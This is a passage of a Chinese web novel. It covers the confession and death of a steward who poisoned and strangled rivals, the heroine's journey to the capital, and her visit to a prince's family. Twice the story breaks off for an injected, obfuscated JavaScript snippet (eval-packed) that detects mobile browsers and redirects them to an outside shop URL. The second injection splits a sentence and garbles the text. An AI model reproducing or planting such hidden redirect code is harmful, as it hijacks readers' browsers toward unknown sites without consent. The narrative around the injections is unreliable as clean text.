老掌柜苦涩的闭了闭眼:“小姐、小姐说的是……我、我就是这么知道的,预感生意快谈成时,我故意劝牛大夫下乡看望老娘,他还不情愿,生怕关门了名声更没了……呵,我何尝不是又利用了他?” 同时,老掌柜又邀请了往日的众多伙伴,也包括酷爱挨针的史可。东兴号近期困境大家都看在眼里,那些人自然不会不给面子。 “那你又是怎么让卫少爷爽约的?”猩猩衙差插嘴问道。 老管家摇摇头,眼中泛泪:“我在前一日听送药小厮提到他二人次日要在客栈签约,我就知道,终于等到了,我立即派人叫回牛大夫,又通知伙伴们定下了次日的午宴……到了第二天,我、我只是派例行送药的小厮告诉卫少爷,我们东兴号来了一笔大生意,马上就能扭转事态,能够买得起药田,请他将药田再留一些时日。卫少爷对我们东兴号那真是有情有义啊,他都和西元堂谈了三个月,只因为我一句话,便将眼前的生意推了。他实在是我们东兴号的恩人啊!” 没错,武大郎曾说过,他看见卫府丫鬟出门的时候,有一拿着药包的小厮上门。 这也是卫峰为什么笑着吩咐解约,为什么那日心情很好的缘故。正是因为他以为对自己有恩的东兴号要崛起了啊。 老管家想到了被他害死的卫峰,几乎崩溃,双手抑制不住的抖动,难以自持。 “可……”赵大人擦了擦俩脸上的汗,还是难以置信,“你怎么又杀了卫峰呢?” 老管家痛苦不已,根本说不出口。 心中酸楚,我叹了口气:“因为晚上的那两人,根本不是死于谋杀,而是死于意外。” 14.大厦已颓 卫峰和情妇约会一事并非早有计划,选择在如归客栈也没有提前预约,更不曾声张,到底是什么人能够精准把握卫峰和情妇的动态呢?这个问题曾一度让我们不得其解。 但当我发现了少东家之死后,我慢慢意识到凶手对少东家的杀机是非常强烈的,他几乎勒断胫骨的行为表达了强烈的恨意和杀机,也就是说,少东家之死绝对是凶手安排好的。 从这个角度去看,莫名其妙出现的另一壶玲珑酒壶,就有了一种解释,即,这是凶手用来毒杀少东家的。 掌柜曾指着案发现场的太师椅,说怒气冲冲的少东家正坐在上面。想象一下,当凶手拿着一壶酒进门与少东家谈话,可后者并无小酌之意,雅间内也无汤菜佳肴,那二人的谈话就是在靠墙边的两张太师椅上进行,并没有坐到圆桌边,是不是也顺理成章? 但当日的毒杀没有实现,因为少东家在忌酒,所以计划偏离了凶手的设想。 那么,凶手勒死少东家,就是激愤之下的谋杀。那他拿来的酒放哪了?当然是顺手放在两张太师椅中的方几上了啊。 乍然更换了谋杀的手段,凶手出现了惊慌的情绪,所以事后,他忘记了自己还在方几上搁了一壶酒。偏偏那日三层无其他客人,未时两刻上来检查的小二也没仔细瞧,只见雅间没人就下楼了,根本没注意侧面的方几。 等到晚饭时候,卫峰与情妇相约,情妇随后推开这间雅间,就如死神做出了选择。 卫峰和情妇玩的开心,一壶酒哪够啊,方几上的酒让他们得以继续欢愉。别忘了,他还搁下玉佩到那个方几上,那看见那壶酒并拿起饮下,不也合情合理吗? 可谁又能想到那不是小二上的佳酿,而是置人于死地的利刃呢? “我、我哪里是要害卫少爷啊!老天爷啊!”老管家嘶哑着悲愤着,“那天,我勒死那小子之后,自己也吓得半死,我本来想就这样离开,后来想到他说他去邻县,至少要过一夜才回。我晓得那厮为了扩张,从不讲排场,出远门都是孤身一人去。便觉得这是个好时机,只要我将他悄悄掩埋,西元堂主子失踪,就会乱成一团,更没心思打理医馆,可能对我们东兴号又是一个良机。 “我环顾一圈,看到那个装包袱的雕花木箱,便费九牛二虎之力将他的尸体塞了进去。我本打算晚上悄悄潜进去,利用挂钩将尸体弄出来,再去悄悄埋了。西元堂之后一定无人经营陷入被动!我这么想着,就没有声张,刚好四下无人,我也就顺利潜回了二层。” 可谁能想到,深夜尚未到来,噩耗就已传开了呢? 老管家半靠在靠枕上,情绪激动,他用力捶着大腿,泪流不止。 “都怪我,都怪我啊!我勒死他之后,自己也吓得半死,根本忘了我还准备了一壶毒酒!就放在那张方几上……我、我没想到卫少爷晚上也去那里,竟也被安排在那个雅间!天哪,这是老天爷在惩罚我啊!我错杀好人!我杀了卫少爷!害死了我们东兴号的恩人,我不得好死,我会下地狱的啊!天哪!” 卫峰之死,因为事发突然,当时在如归客栈吃饭的所有客人都知道,也无法封锁消息了。是以,当听到小厮绘声绘色的禀报,当他清晰的意识到卫峰竟然是被自己害死的,那一刻,老管家会是什么心情。 半年的谋划,半年的隐忍与伪装,小心翼翼又周全的观察着每个可能用到的人的习惯,排布出一环扣一环,看似一桩桩一件件都是芝麻大点小事的设计,让自己的罪行,被每个不知情的人包庇着,是多么的精妙。 客栈近来无宿客、掌柜心软安排在二层、人多的雅间上的酒壶也多、絮絮叨叨的表哥与巡逻的路线、喜欢挨针的奇葩爱好…… 每个出现的人,都无形中帮了他一环,却又在事后平静的抹去,如涟漪划过,未留下丝毫痕迹。如当日真是毒酒得手,连血滴这一证据都不会有,岂不更是完美犯罪? 然而一念之差,一举之错,命运也给之后的故事安排了种种巧合,遗忘在方几的酒壶、粗心大意草草一览并未认真检查的小二、大咧咧拿着不明酒壶就敢喝的卫峰二人…… 累及他人,更害了恩人。 此时的老管家,趴在床边悲恸不已,心中的懊悔和痛苦难以言说。他一面用力捶着自己一面痛哭,本就虚弱的身子如何耐得住这样折腾,不消几下捶打,哭声一哑,力气殆尽,整个人便如枯枝般朝地上倒去。 在场的人应接不及,眼看老管家栽到地上,一动不动。凌轩反应最快,猩猩衙差也立即上前帮忙将老管家抬到床上,一屋子人手忙脚乱,老管家却已然无声无息。 在痛陈自己犯下的罪行后,老管家终是耗尽了最后一点生命,带着悔恨和痛苦,离开了人世。 ——————————————— 刻着“东兴号”三个大字的牌匾,几十年风吹雨打,早已蹧烂了木头,唯有三个大字依然苍劲。牌匾日日悬挂在店头,往来的百姓早已习惯了它的存在,谁也不会刻意抬头去观摩。 而今日,当它被取下的时候,街道上水泄不通,四面八方曾受惠过的百姓都围了上来,送东兴号最后一程。 老管家用生命守护的大厦,还是倒塌了。 东兴号被挤压时,人人都觉瘦死的骆驼比马大,不免带着看笑话看热闹的心情,揣摩着两家医馆谁能笑到最后。然而当老管家为了挽救飘零的船而不得不行凶后,那些曾经说过风凉话的人,那些曾经看过热闹的人,那些曾经落井下石的人,都沉默了。 老管家之死到底如同流水泄露了出去。 东兴号年仅六岁的小东家身着丧服去卫府请罪,他被娇弱的娘亲抱着,跪在卫峰的灵牌前磕了九个响头。小东家撅着嘴有些委屈,额头上的红肿带着疼痛,可他不敢哭也不敢反抗,他知道有些东西正在破碎,有些东西再也回不来了。 卫峰的祖母背对着他们,哭了整整一宿,最后还是忍不住将满是褶皱的手放在小东家的头上,看着小东家软软的脸,摸着他细碎的额发,仿佛看着自己那小孙子在膝下承欢。当晚,祖母也走了。 武大郎终是离开了县城,带着他年迈的母亲远走他乡。这个令人伤心的地方,没有什么可留恋了。 金针圣手牛大夫,还是离开了东兴号,却也没有投奔其他医馆。坊间都传,他自此封针,不再从医了。 西元堂在老夫人死后,闭门歇业了两天。正当人们以为这两家老字号都将从历史的烟云中消散时,西元堂又开张了。少夫人一力挑起了担子,正如当年的老管家一般,操持里外。她不再延续少东家激进的扩张路线,专注回看病卖药的老本行,本本分分经营下去。 这场较量,没有人是赢家。谁也不知道西元堂能撑多久,就像人们也不知道下一个商业崛起的会是谁。这些问题,只能交给历史之笔了。 ——————————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987192|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ———— 两天后的清晨,雾气将秋水县笼罩的茫茫一片,马车滚在青瓦铺就的路上,有动听的声响打破静谧。赵大人和猩猩衙差在城头送别,我们离开了这座县城。 马车上,我的心情却久久没有平复。 凌轩放下车帘,朝我看来:“王姑娘可是在想牛大夫?” 心中一跳,我忘了掩盖惊讶。他怎么又猜到了? “姑娘思维敏捷,洞察力超群,那日还原作案过程丝毫不差,自然是对听过见过的细节都了然于心的结果。”凌轩弯着嘴角,眼眸很亮,“想必牛大夫当日的话,姑娘也不会错过。” 我没错过?呵,他这么说,分明代表着,他也留意了。 此人心计不可小觑啊。 我不动声色的笑了笑:“公子谬赞,我不过误打误撞,不值一提。倒是公子,以小见大,一针见血,讯问生死关头的老管家,也能从怜悯中引导出真相,当真是条理清晰。说实在的,我一度以为,你还要去拿牛大夫呢。” 凌轩双手交叉放于膝盖,坐的笔笔挺挺,看我的目光带着审视:“拿他?为何?仅凭他当日模棱两可的话,就怀疑他知道老管家的计划,过于牵强了吧?” 牵强吗? 牛大夫精于医道,又一直为老管家诊疗,后者半年前断出什么病症,是否寿命无多,又怎么就开始魔怔的乱喝汤药,他真的会全无怀疑吗? 整个秋水县只有一家东兴号分店开着,老管家却突然放他的假,偏又在宴请前招他回来,继而宴会后,老管家的手却勒破了。 “真到了那时候,希望人们多些宽和吧。”为什么叹气后,牛大夫会这样评说老管家的病体?明明在百姓心中,他已为东兴号鞠躬尽矣。何来宽和,为何要宽和? 当日在给史可施针时,牛大夫真的没有留意屏风后头的动静吗? “问罪于心,何人无辜?论迹不论心,此乃断狱听讼之要义。”凌轩眼眸转深,“王姑娘说呢?” 我自也这样认为。毕竟从证据而已,没有牛大夫参与作案的凭证,又怎可以牵连旁人。 何况,牛大夫封针弃医,难道不也是一种圈地为牢? “老管家已去,此案便算终结,想必不日赵大人就会将卷宗上呈。王姑娘切莫再挂心,以免扰了平静心绪。”凌轩嘴角含着一缕淡笑,话锋一转,“只是想想,赵大人在卷宗中却不能提及姑娘功劳,还真是有些可惜。” 这话临走时赵大人也说过,对大青没有女捕快深感遗憾,一个劲儿夸赞我比他的手下伶俐聪慧。我权当他在借花献佛,侧面拍凌轩马屁,便只是笑笑没当回事。 怎么凌轩又提了起来? 不过既然说到此处嘛……我侧侧头,试探着问:“我是女子,于法理行不通,便罢。那公子呢,赵大人卷宗会提及公子的协助吗?” 凌轩浅笑:“卷宗是否提及我是不知,但估计他会写信感谢殿下。” “哦?那公子也能得些奖赏了?恭喜恭喜。” 凌轩摆摆手,看起来并不在意。目光却始终盯着我,他又说:“姑娘此番进京寻亲,日后也就常住京城了?” “嗯,大概是吧。”我胡诌道。心里在想,找到原主的爹还不知什么情景呢。不过眼下我身无分文,原主落水又充满蹊跷,也唯有先上京试探试探寻个出路了。 凌轩颔首,正欲开口,变故,恰就在此时发生。 15.回京 马车外传来一阵响动。没等我二人反应,马骤然高声嘶鸣,车头上翘,惯性直接把毫无准备的我抛上马车顶。 只一瞬,马车又被拉回到水平线,我被从空中直直扯下,眼看就要被拍至车座。凌轩忽然身子一侧,斜插入我与座位之间,两臂伸高挽住了我。 接连的冲撞吓得我条件反射闭上了眼,再等我缓过神来,映入眼帘的,是凌轩深邃的暗瞳。 四目相对,我意识到他的手还挂在我的腰上,我仰躺在他的怀中,紧紧握着他的衣领。如此近的距离,我甚至能感觉到他清香的气息扑到我的脸上。 气温陡升。 “王姑娘,你没事吧?”凌轩锁着我的眉眼,语气关怀。 腿磕到了座位,隐隐作痛。但什么也不及此时此刻狂跳如雷的心脏,对我的冲击之大。 “没、没事……”我当即坐直身子,松开了手,“多、多谢公子。” 凌轩好似也才意识到一样,烫手般立即收回双臂,得体的退了一步。 若非马车内静谧如斯,都听不到他紊乱的呼吸。 “怎么回事,马车撞到了什么吗?”凌轩自言自语,一面掀开了马车窗帘。 外面正是一片林木景象,什么都没有。 “凌公子,小姐,二位没事吧?”马车夫在外焦急询问,伴随着嘈杂的人声。 我抬头觑了眼凌轩,他迟疑着放下马车帘,轻轻咳了一声。 好家伙,明明声音是从右侧传来,你怎么去掀左侧的窗帘了! 致力于打破尴尬,却使得气氛更凝重。凌轩此刻也身子僵硬,机械的坐到右侧,全程没好意思看我。 嗨,不就抱一下嘛,淡定,淡定。我可是21世纪的女性,什么帅哥没见过啊。 别花痴,别花痴! 我再一次心内严正警告完自己,正看到凌轩眉头皱了起来:“向杰?” 透过车窗帘,能看到不远处的官道上,一穿着上月白,下蓝紫长衫的男子,正搀扶一位老人起身,关切的询问是否安好。二人身侧,地上洒了满满的玉米,一匹马正低头啃食着。 马车夫在车窗外小声汇报:“公子,是这个年轻人骑马险些撞到了行走的老汉,事发紧急,小的下意识喝停了马。您二位没事吧?” 凌轩摆摆手:“无碍。老人家怎么样,去瞧瞧,看是否要叫个郎中。” 那厢,长衫男子也正温声询问:“老伯,不必拘谨,您若是哪里不适,一定要说啊。” 穿着麻布短衣的老伯丝毫不顾惜自身,数次推开长衫男子欲搀扶的手,只心疼的望着满地的玉米:“哎呦,哎呦,我这上好的谷物值得不少钱,你这小伙莽莽撞撞,给我全撞翻了!” 长衫男子立即从钱袋中掏出一锭银子,诚恳致歉:“抱歉啊老伯,这些已经脏了,也要不成了。这锭银子赔偿您的损失,行吗?” 老伯瞪大了眼,甚是意外:“这、这都给我?” “当然。”长衫男子点头,又上下打量番老伯,“您真的没有撞到哪里吗?要不,还是请个郎中吧。” “嗨,”老伯一把接下,喜笑颜开,“咱乡下人摔个碰个算什么,看什么郎中,多费钱啊。方才也不都是你的错,怪我突然从小道走出。只是年轻人啊,你这……” “爹!你没事吧!” 官道右侧树木掩盖的小道中,一个妙龄少女急急奔出,额头的汗珠顺着脸颊滑下,红扑扑,洋溢出质朴的美。 跑至她爹身旁,许是太过担忧没留意脚下,少女被玉米绊了一下,身子一歪,朝站在另一侧的长衫男子倒去。 这一幕多少有些熟悉,一般狗血爱情剧都是这么开场的嘛,然而,出乎我的预料,男子竟朝后跳了一大步,生生避开了少女。若非少女摇晃下勉强稳住平衡,她就得摔倒在地了。 这一连串的场景发生在几个瞬间,快的来不及多做反应。 少女吓了一跳,忙伸手顺气,再去瞧老爹。父女二人叙话,谁也没看一眼,此刻长衫男子僵硬木讷的表情。 我心里一咯噔,不自觉朝凌轩看去,没成想,他也正怔忪地望着我。 当下,我几乎能听到他的心声,和我一样的诧异。 是啊,就如方才,马车失去平衡,我被甩到车顶,凌轩几乎是条件反射地接住了我。这是人们在对待身旁人出现危机时的下意识,伸手拉住、护住而已,不带有特殊感情色彩,完全出于身体的反应。 可长衫男子,却是同一瞬跳后退开,此刻又是一脸戒备。真是怪哉。 凌轩又看向窗外,少女正福身朝长衫男子致谢,后者竟又挪后一步退远了些,一面淡声道:“身子无碍就好,若有不妥,可来白马书院寻我。老伯,那在下先告辞了。” 说罢,他便拉住马缰登上了马,挥鞭头也不回的离开了。 这下,惊讶的不止我二人了,连老伯都迷茫的看向女儿:“这人是怎么了?方才还彬彬有礼的,怎么一下变得这么冷漠?莫非闺女,你认识他?” 少女懵逼:“不认识,我见都没见过啊。爹,你真的没事吗?他不会是怕把你撞出个好歹来,立时跑了吧?” 闻得这话,凌轩皱了皱眉,朝我看来:“王姑娘,我去处理一下,劳你在马车上稍坐。” 处理?处理什么? 哦对,方才凌轩对着长衫男子可是叫出了名字的呀。难道他们认识?那怎么方才不下去帮忙? 再说那人,也确实走的突然,与之前温和关切判若两人,且似就在少女出现之后才发生的变化。可少女并不认识他啊,奇怪。 马车外,凌轩很快走到了农家父女身边,低声叙了会儿话,二人便朝他福了福身。就在我以为事情告一段落,父女将回家的时候,老伯却又蹲下身,捡起玉米来。 凌轩一怔,旋即也蹲下:“老伯,这些玉米摔得七零八落,恐怕不好卖了。” “不好卖,我们自己吃也行啊!”老伯不舍,忙招呼闺女加入,“扔在官道上岂不浪费!” “也是。”凌轩没再多说,竟也伸手帮着捡拾,看的马车夫一愣一愣,想起赵大人千叮咛万嘱咐要好生照顾公子,忙也跳下去帮忙。 我盯着凌轩,没来由的,心头荡起了更深的异样。不过此时的我别无预料,之后竟还有与那位公子的相交之日,但,那就是后话了。 ——————————————— 之后的几天乏善可陈,至少没再发生任何事端。秋水县本就离京城不远,五日后,疑似原主老爹所居的南咏街便在前方了。 “东边数第三家,便是这条街上唯一的王姓一家,听说住着位中年男子,还有一老仆。”凌轩躬身听完马车夫汇报,回身问我,“王姑娘,需要我与你同去吗?” “哦,多谢公子好意,不用了。” 原主什么性格,是否文静且社恐,我尚不能确定。这凌轩若是将我在秋水县的作为向我那所谓的爹道出,不知道会不会惹来麻烦,还是别见的好。 青天白日,想来我一个人去寻亲,应当也没什么危险。 凌轩也未坚持,伸手做了个“请”的姿势。 与帅哥的交集大抵就要结束了,不过此人毕竟有王府背景,在这封建王朝,不知未来是否还会仰仗。我想了想,还是决定客套一波。 跳下马车后,我便福了福身:“这几天多谢凌公子照顾,那我就先走了。不知未来何日还会相见,我祝公子前程似锦,心想事成。” 凌轩保持着掀开帘子的动作,两颗梨涡浅浅浮现:“姑娘客气了,我与姑娘几日交谈甚是愉快,亦多了不少见识。这京城说大不大,说小不小,也许我与姑娘来日还有相见的机会,届时再向姑娘讨教。” 好家伙,他这说辞比我还敷衍呢。 凌轩又朝我笑笑,随后便放下帘子。马车夫亦未作逗留,扬鞭启程。 我站在原地目送着马车越 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——————————————— “这脉象把着也没问题啊,怎么就得了失魂症了?” 五分钟后,在换了三个姿势、“啧啧”了六声、和老仆钟叔交换了无数个眼神后,原主的爹爹——哦,现在也是我爹了——终于将手指抬起来了。 扬扬手,老爹很豁达的表示:“嗨,想不起来就算了,人没事就好。只是好端端的,怎么会落水?你又猴了是吧?书儿啊,这次回到了京城,可不敢再像小时候一样了啊。” 嗯?什么叫“猴?” 钟叔在一旁赔笑:“老爷放心吧,小姐长大了,你看出落的多好呀。小姐你都不知道,你去金华这八年,老爷可想你了呢!” 八年?原主离开父亲身边,竟有八年之久?那此次来京做什么? “书儿,放心吧。”老爹边说边抓起我的手放入掌心轻轻拍着,“爹不会再让咱们父女分离了。来,快到这边来,看爹都给你准备了什么?” 一张梳妆台前,是各色首饰与七八罐崭新的胭脂,其中菱形的一罐,款式还挺别致。 我有些惊讶,没想到这宅子看起来不咋地,原主的老爹还挺有钱嘛。而且这话语中流露的拳拳父爱,也多少令我感动。 但我心中的荡漾,很快就戛然而止—— “你放心吧,爹会给你用心物色的,保证比在金华嫁得好。你祖母千叮咛万嘱咐,爹都记在心上了的。” 好家伙,合着上京是来相亲的啊! 老爹看看我的脸色,再次潇洒的挥挥手:“放心放心!彩礼肯定收的多!” 钟叔笑容可掬:“上回隔壁王婆闺女出嫁,夫家送来老酒九十九坛,咱们小姐将来出嫁,肯定比这还要多!” “那是,王婆给我炫耀了三天,我可不能输了。” “老爷大可放心,小姐可比王婆闺女长得好,而且还有……嘿嘿,对吧?” “就是就是,哈哈哈哈哈!” 我盯着原主长相还算英气的老爹的面容,暗暗生忧,这怎么感觉,忒不靠谱呢? “书儿啊,别傻坐着了,让橙橙给你梳洗梳……诶,你的丫鬟呢?” …… 合着我走进来这么久,你才看到我孤身一人啊! 我只好将落水之后发生的事也略略提及,听得老爹眼睛圆瞪,下巴上的短胡茬都颤了颤:“你祖母给你安排的可是四个丫鬟、四个小厮啊,全不见踪影了?” 什么? 一共八个下人护送着,原主竟然落水? 等一下,可好心人老板娘当时看到逛街溜达的明明只有原主和一个丫鬟,而落水之后我刻意停留一日,也未有其他下人来寻啊? 怎么回事,这些下人,哪里去了?原主落水,果真另有玄机? 16.二公子 “这可糟了,”老爹揉着太阳穴,从一旁的书柜中抽出一封封信来,“你祖母在信中说一切都安排妥当了,从丫鬟到衣服,带的全是你素日用得惯的,我便什么也没准备。你看你看,咱们家连个丫鬟都没有,你可怎么洗漱收拾啊?” 我的目光却被信件旁一摞短小的画轴吸引了,打开一看,是一幅幅少女的画像,从垂髫到亭亭玉立。 “你祖母每年都会安排画师给你画像,再寄给我,这样我远在京城也知道我女儿的成长嘛。” 原来如此,我说八年不见,怎么老爹和钟叔一眼就认出了女儿。 “但是,”我抽出其中几幅明显纸张卷轴更上档次的画作,“这画上明显是幼童啊,不应该是金华时期画的吧?” “哦,这几幅啊。”老爹看过来,脸上露出自豪,“这可是王妃亲自画的呢!” “王妃?”我懵了。 话及此处,老爹仿若想起什么大事来,猛地一拍脑门,慌慌忙忙站起来:“哎呀,快快,快去请王婆明早来帮个忙,咱们得去拜见王爷王妃啊。” 钟叔也跟着跳起来,忙不迭就出了门。 “书儿啊,你不知道,王妃听说你要回京有多高兴,这段时间问了我不下四次!你本就耽搁了行程,明天可一定得去拜见。你小时候王妃对你那么好……呐,得知你要回来,这些首饰胭脂,都是王妃差人送来的呢。” 王妃?不会这么巧吧,脑海中莫名出现三个字。 但显然我想多了。 次日一早,我跟随老爹上了马车,朝着齐王府进发。 没错,是齐王府,并非御青王府。小说中偶遇就是旧识的巧合,并未发生。 只是我没想到,这个看起来不太靠谱、住宅不太华丽、扮相也不太富贵的老爹,竟然是当今圣上的同母胞弟齐王的幕僚,且关系匪浅。 但这也是有渊源的。昔年不知何故,齐王年幼竟流落宫外,后与老爹及一众伙伴相识于绿林,行走江湖快意恩仇。其后身世明了接回宫中封爵落府,但也没因此嫌弃过当年的圈子,而是介绍到各处衙门寻个主薄、通判之类的活计。原主的爹便也被安排进京城府衙,有了一份正当的差事。 但作为当年最亲近的朋友,老爹除了这份公差,还呆在王爷身侧,做着幕僚,素日里陪伴王爷的时间极多,时常留宿齐王府不说,每年也都得跟随王爷外出巡查、出京办事。 是以,幼年丧母又缺少亲爹陪伴的原主,在人生的前九年中,算是在齐王府长大的,自然是得了王妃很多照拂。 “那为什么还会送原……嗯,送我回金华府呢?京城不是住的好好的吗?” 难道是年岁渐长,要与王府的少爷避嫌,故而离开? “哎呦,这也忘了?”老爹无语扶额,“八年前京中瘟疫,太后放心不下齐王一家,便下旨让王妃、大小姐,还有两位公子入宫避难。又恰逢南方水患频发,圣上交代王爷下江南巡查,你爹我正好将你送了回去呀,要不然你孤身在京中怎么办?” 哦?就这么简单? “那还能是因为什么!你走的时候,二公子拉着你的手哭的稀里哗啦,你忘了?大小姐还追车来着!王妃一开始是要将你扮作丫鬟带进宫的,”老爹话语一顿,朝我嫌弃的一瞥,“可你那德行,整天就知道上树下河,调皮捣蛋,坐不了一炷香就撒丫子乱跑。敢带你进宫吗?说来说去,还不得怪你啊。” …… ——————————————— 齐王府位于京西,府邸大气磅礴,富丽堂皇。走来一路绿树成荫,静谧安然。我暗暗咋舌中,老爹正挑着眉毛问:“怎么走的这么突然?那还得几天回来啊?” 王府管家在前方引路,算着日子:“总也得半个月。” “带自己人去了没?怎么没通知我?”老爹不甘心。 管家看穿了,笑道:“圣上临时下的旨,拨了一支羽林军护送,您大可放心。时间紧急,王爷也只在出宫门时遣人回府交代了行踪,幕僚和下属,一个都没带呢。何况,王爷也是知道这些日子羽书小姐会到,哪能这时候差使您呀。” 见老爹勉强弯弯嘴角,知他心理平衡了些,管家又朝我投来慈祥的笑容,“一转眼,羽书小姐都出落的这么标致了。王妃刚听了通报,喜不自胜呢。” 花厅内,上首正坐着一位打扮极为雍容的女子,闻得脚步声,果然露出期盼眼神。 老爹一进门就跪拜:“王妃娘娘万福金安。” 王妃并未叫起,目光殷切的朝我打量着:“书儿,呦,书儿都长这么大了?可算回来了,叫我好等。来,快走近让我瞧瞧。” 我对这熟络颇不适应,老爹倒是一个劲给我使眼色叫我上前,一面笑道:“劳娘娘牵挂,她路上碰到点事儿,耽搁了。书儿,还不快拜见王妃。” 我走到近处,也不敢抬头细瞧,只跪下恭敬行礼:“王羽书拜见王妃娘娘,祝娘娘洪福齐天,万事如意。” “羽书真是长大了啊。”王妃打量着我,笑容满满,“来来,快起来,走近些叫我瞧瞧。” 说着,王妃也没等我起身,竟上前扶起了我,眼神中是欣喜:“真是女大十八变呀,书儿都变端庄了呀。呦,还带着这个戒指呢?可惜菱儿随夫东去,你们俩都没见上。” 这说的应该是王妃的女儿,去年由圣上赐婚下嫁,如今随郡马出京赴任了。 听着王妃语气颇为亲切,我也就大着胆子抬头看她,只见她人到中年,却保养的极好,粉面挺鼻,凤眉美眸,举手投足间气质高贵。她从起身到弯腰扶我,几个动作,头顶的钗环流苏却听不见一点动静,当真是出身名门,教养极佳。 我心中默默惊叹着,王妃也拉着我的手上下不住的瞧。许是怕冷场,老爹在一旁适时开口禀告:“娘娘啊,书儿在来的路上落水了,患了失魂症,把以前的记忆丢了。” 王妃一惊,握着我的手都紧了三紧:“什么?怎么会发生这种事,可瞧了郎中?” 我这老爹不就是个郎中嘛,昨儿对我好一番望闻问切。 老爹却说:“昨天才到家还没去医馆,但瞧着脉象问题不大,许是受惊了的缘故。娘娘放心,稍后我差人开点药,总能恢复如初。” 呵呵,这可难说。 王妃略略安下心来:“人没事就好,人没事就好。那,连我也不记得了?” 王妃目光凿凿,我只得低下头装委屈。 “没事,别逼自己,改日我遣个太医去瞧瞧。”王妃倒也没为难,拍拍我的手温柔地说。 老爹大喜:“娘娘客气,怎么敢劳烦太医呀!” “尽快治好书儿的病,是大事。只是依我看,”王妃美眸一转,脸上又现笑容,“书儿的确长大了,我都不敢相信这是当年那个小猴丫头?王柳呀,老夫人当真妙手,把小调皮都调教成大家闺秀啦!” 老爹笑容堆在脸上:“娘娘谬赞。这丫头长大了多少知些礼数,要说性子还是跳脱的很,哪能配得上闺秀之称。” 王妃笑的非常满意:“好事,好事。书儿也到了配婚的年纪,还像小时候那样淘气哪行。哎,真是岁月不饶人啊,一转眼孩子们都长大了,咱们可都老了呀。我最近感觉睡眠都变浅了,只怕是要生皱纹了。” 老爹立马狗腿:“娘娘这可就是多虑了,您从湖边走过细瞧瞧那水面,明明映出的就是如花美人,鲤鱼都得跳上来欣赏一番,哪有一点岁月的痕迹嘛。” 好家伙,恭维功夫真够了得。 王妃被逗得喜不自胜,复又拉住我的手:“行了,王柳啊,你放心吧。书儿小时候就是美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024704|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胚子,你看,长大了这模样多标致。既然回来了,这婚事我自然会替她做主,你呀,别到时候跟我抢就行了。” 嗯?这才说了几句,怎么就扯到婚事了?看来这古今中外,长辈都爱给人当红娘呐。 我爹可不理我给他使的眼色,笑得别提多谄媚了:“那可真是劳王妃费心了啊,这是书儿的福气啊。不过王妃可别太惯着她,挑挑拣拣的,她哪里配嘛。” 嘿,说什么呢,怎么贬低自己女儿? 老爹话语却没断,“平凡人家,有颗真心,能爱她护着她就够了。可不敢求什么荣华富贵呦。” 我一怔,没想到,这看似不靠谱的老爹却包含朴实真诚的心呐。 王妃也旋上笑容,正欲讲话,忽然,花厅的门被推开,有人走了进来。 “母妃啊,谁来了?怎么还关着门?” 应声进门的是个头戴羊脂白玉冠,身着藕色金丝长衫,脚蹬八宝攒玉靴的年轻公子。冠中墨绿玉簪,腰间三五玉佩,一双瑞凤眼好奇的眨着,脚步轻慢,矜贵懒散。 “二公子,您回来了啊。”老爹立时上前赔笑,“羽书,快来,来见二……” 话音未落,二公子手中的书猛地落地,眼睛瞪大了至少一倍:“羽书妹妹?天哪!” 观扮相,此人应已弱冠,但还透着股少年稚气,英姿勃勃。下一瞬,他便冲到我面前,猛地抓住了我的胳膊,大叫着:“羽书妹妹,你可回来了!怎么回来这么晚,不是说早就动身了吗?好突然!回来也不吱一声,我送去的东西你看到了吗……” 说话间,二公子都快贴到我脸上来了,墨绿簪子在我眼前晃悠。要不是脑中还绷着个紧弦,我差点当着老爹和王妃的面将眼前的人踢到三米外。 王妃适时唤开了他,简单说了我的现状,听得二公子跳脚,不由分说就要拉着我去找太医。 我算看出来了,这二公子小时候和原主绝对是铁哥们。 果不其然,接下来的饭局,提起的一桩桩旧事,听得我那叫一个汗颜。 原主小时候可真是熊孩子,在王府也猴的不行。同为女性的大小姐居于第二位,反而是这位二公子,与原主整天爬树下河,钻洞摸鱼,罚站一起罚,挨骂一起挨,革命友谊十分深厚。 听说原主要回京,他也是十分兴奋。这不,一整个下午的看戏时分,他都在给我使眼色。 “下一曲,书儿来点吧?”王妃笑着朝我点点头,小厮立即奉上点单牌。 我哪懂这个啊,便就近点了一个牌子。 小厮唱声:“《贵妃醉酒》!” 二公子猛地拍手:“羽书妹妹还真有慧眼!知道这是瑶花班最出名的一曲呀!只是母妃本打算放到压轴听得嘛!” “啊?我点错了?”我有点慌,忙看向我爹——正靠在角落呼呼大睡。 …… “没事,就听这曲吧。如今这曲名动京城,叫我也来甄别甄别,到底是不是夸大其词了。”王妃含笑摆手。 我刚松口气,二公子又靠向我,附耳喜滋滋道:“羽书妹妹,你还像小时候一样好运气呢!这瑶花班现在火的呦,进府唱戏的邀约都排到了下个月了呢,没想到今天你刚好来我府上就听到了!” “呵呵,你能不能稍微过去一点,压到我的袖……” “快看那个!”二公子完全没理我的抗议,激动的指着台上,“羽书妹妹,瞧那个,贵妃!贵妃!往那看!怎么样?扮相极美吧!这青衣啊,叫离官,唱功非常出色呢!” 离官?这名字可真拗口,还有点装逼。不过扮相是挺美,眼角一颗滴泪痣加分不少。身段也柔,歪在榻上的时候,那丰腴美人的慵懒与高贵,显露无疑。 